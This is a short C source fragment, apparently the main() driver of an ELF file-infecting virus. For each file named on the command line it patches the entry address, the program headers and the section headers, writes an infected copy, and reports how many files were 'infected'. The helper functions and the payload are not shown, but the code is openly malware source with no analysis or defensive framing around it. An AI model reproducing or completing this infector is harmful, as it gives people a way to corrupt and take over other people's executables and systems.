int main(int argc, char** argv)
{
  char** pp = argv;
  const char* p;
  int rc = argc - 1;
  while(0 != (p = *++pp))
  {
    Target t;

    fprintf(stderr, "Infecting copy of %s... ", p);
    if (!target_open(&t, p))
      continue;
    if (target_is_suitable(&t) &&
	target_patch_entry_addr(&t) &&
	target_patch_phdr(&t) &&
	target_patch_shdr(&t) &&
	target_copy_and_infect(&t)
    )
    {
      fprintf(stderr, "Ok\n");
      rc--;
    }
    target_close(&t);
  }
  fprintf(stderr, "%d infected, %d failed\n",  argc - rc - 1, rc);
  return rc;
}
